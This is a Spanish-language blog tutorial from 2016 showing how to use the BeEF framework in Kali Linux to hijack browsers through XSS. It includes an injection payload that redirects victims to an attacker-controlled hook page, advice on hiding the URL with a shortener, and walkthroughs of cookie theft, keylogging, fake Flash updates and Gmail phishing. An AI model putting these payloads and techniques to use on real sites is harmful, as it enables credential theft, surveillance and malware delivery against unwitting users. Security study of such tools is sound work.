lunes, 30 de mayo de 2016

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.



BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 





Una vez ahí se ejecuta el fichero beEF: ./beef





También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:


Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:




Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:




Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.
En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.


Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":



Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.


Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.
- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.
- Gris: Indeterminado. ¡Hemos venido a jugar!
- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:



Detectar si tiene RealPlayer:



Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,



Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:


Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF



Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).
Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...



En el zoombie, se vería la siguiente ventana:



Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:




De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.





De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:




Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque







No hay comentarios:

Publicar un comentario

Google Analytics